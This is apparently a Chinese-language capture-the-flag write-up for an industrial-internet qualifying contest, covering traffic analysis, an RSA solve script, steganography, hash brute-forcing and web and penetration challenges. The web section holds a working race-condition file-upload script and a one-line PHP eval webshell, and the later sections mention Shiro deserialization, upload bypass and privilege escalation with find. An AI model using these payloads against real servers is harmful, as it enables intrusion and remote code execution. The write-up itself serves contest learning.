0x00 简介
不知道是何时被报的名,甚至比赛的前两天才知道组队的队友,还好最后的结果是好的,拿了线上选拔第二(理论亏分200多,555)晋级了11月20号的重庆决赛,心里还是美滋滋的。
0x01 CTF
协议分析1
Wiresahrk查看是mms的协议,直接过滤
可以看到上面两面和下面的明显不一样,查看追踪流
两个字符串组合之后,然后使用解码工具解码得到flag,后面乱码替换成大括号
解方程
附件脚本:
题目给了n、c,就是一个RSA,过程没有什么好说的,这里直接贴脚本咯
n = 8024564127973065791822696697071284794358778113244860389864422981119578975964727093926084927413648922361071020470150564725270618683354904686430544864634986421802250691574811643940493852040303365259871961829230451567976055242366978177493279020860227537560077272183489280971600541432160542487797473494437897108965642412346313867328843027097895335304551681879362719382890575460873246457441445622915378590294513103181807760404215667759122312502771211145132870220086702449210205047154398173087109995899654560082761774761002029827487645976212945576324039049642609852040160573026630219823125371936206527188545760503303196887
c = 3180315760809674805307952038308070668830050176909147638772126511895314499221741418872541998973065111255595861696385202759844093540441475048944982758690063571599282883876643362851380191511250087221840725807404705385725070244402516934527422750911874245857588078974219707033577370635383250007806947507795729667764154840835200953651638272748044402141790503341924861185059671075139783417203879567804845438302056071839026625956697647771368487584705007737854745577029320506832583174617443045018932772363892102614493216452482474734088789707913499300956365998233734355238725491161615031776255737012637741880932940505976334292
from gmpy2 import iroot,invert
from Crypto.Util.number import *
def quadratic(a,b,c):
try:
(d,t) = iroot(b*b - (4*a*c),2)
if not t:
return 0
return ((-b-d)//(2*a),(-b+d)//(2*a))
except:
return 0
for I in range(10,2050):
p_try = quadratic(1,-(2**I + 31336),n)
if p_try:
print('nbit=,I')
p = p_try[1]
break
q = n//p
assert(isPrime(int(q)))
assert(isPrime(int(p)))
assert(n == p*q)
print('p=',int(p))
print('q=',int(q))
for e in [int('1'*I,2) for I in range(1,50000)]:
phi = (p-1)*(q-1)
g = GCD(e,phi)
if g == 1:continue
print('trying with e bits:',e.bit_length(),'gcd=',g)
d = inverse(e//g,phi)
m = pow(c,d,n)
m,t = iroot(m,g)
if not t:continue
flag = long_to_bytes(m)
if b'flag' in flag:
print(flag)
exit(0)
运行就可以得到flag
Easystego
附件使用winehx进行打开看到pdf的文件头
全部复制之后然后另存为一个pdf文件,然后查看,可以看到隐藏的东西
复制出来是乱码,尝试解码,最后是rot47解码
Ezhash
看到这个,首批放号的移动号码首位几个86139
然后就是脚本爆破
import hashlib
num = '86139'
ha = '2704efd1382cb3c01cb7962e5b8b06d5dcbe427a61460fb333e126fb646dc108'
num1 = '0123456789'
for i in num1:
for ii in num1:
for iii in num1:
for iiii in num1:
for iiiii in num1:
for iiiiii in num1:
for iiiiiii in num1:
for iiiiiiii in num1:
num2 = num + i + ii + iii + iiii + iiiii + iiiiii + iiiiiii + iiiiiiii
hash1 = hashlib.sha256(num2.encode()).hexdigest()
if hash1 == ha:
print(num2)
break
包裹上flag{}提交成功
流量分析3 Modbus
看到题目名字想到modbus协议
138主机向网关发送数据,通过过滤对比数据流可以看到一个PNG文件头
可以肯定通过modbus协议传输了一张图片,用tshark导出数据
tshark -r 1667353056652.pcapng -T fields -e modbus.data -Y "ip.src == 192.168.111.138 && modbus.func_code == 6" fuck.txt
宕出来的数据处理一下得到二进制数据,通过工具转化为图片
得到flag
Re1 逆向
汇编上反复触发一个函数
开头有个很像flag的值
这是唯一的处理函数,推测是用来打乱flag的,在不同处取值
Web1
文件上传,同目录下存在upload文件夹
php文件能直接上传,但是目录下找不到php文件,其他任意文件传上去都存在,推测为文件上传
import requests
from urllib3 import encode_multipart_formdata
import threading
data = {'file': ('1.php', open('D:\phpstudy_pro\WWW\python有用脚本\1.php', 'rb').read(), 'image/jpeg')}
encode_data = encode_multipart_formdata(data)
data = encode_data[0]
def a():
t1 = requests.post('http://222.186.10.28:15668/upload.php',
headers={
'Content-Type': encode_data[1]
}, data=data
)
def b():
t2 = requests.get("http://222.186.10.28:15668/upload/1.php")
print(t2.status_code)
while 1:
t = threading.Thread(target=a, args='')
t.start()
t1 = threading.Thread(target=b, args='')
t1.start()
//木马 fputs(fopen('a.php', 'w'), ' @eval($_POST[1]) ');
访问a.php到200的时候木马就传上了
蚁剑连接拿到flag
flag{YPU648MV2DMP4P8N}
0x02 工业环境渗透:
信息管理系统
扫描发现170开了8080的端口,登录界面提示shiro的反序列化(比赛公告也有说),直接上工具可以梭哈
然后在administrator的桌面下就可以看到flag
flag{CT8Q8SHJBBMAZ99F}
火电-官网应用
通告给出账户密码:admin,ddddhm,登录之后 上传修改绕过
Websehll链接
flag{5DWG54TTTYR6MHXY}
火电-权限提升
在“火电-官网应用”紧接着,使用 find 进行提权,获得权限之后, 获取 flag
flag{62CE2E4BE0B06334}
– End –
原文始发于微信公众号(NS Demon团队):中国工业互联网江苏省选拔赛writeup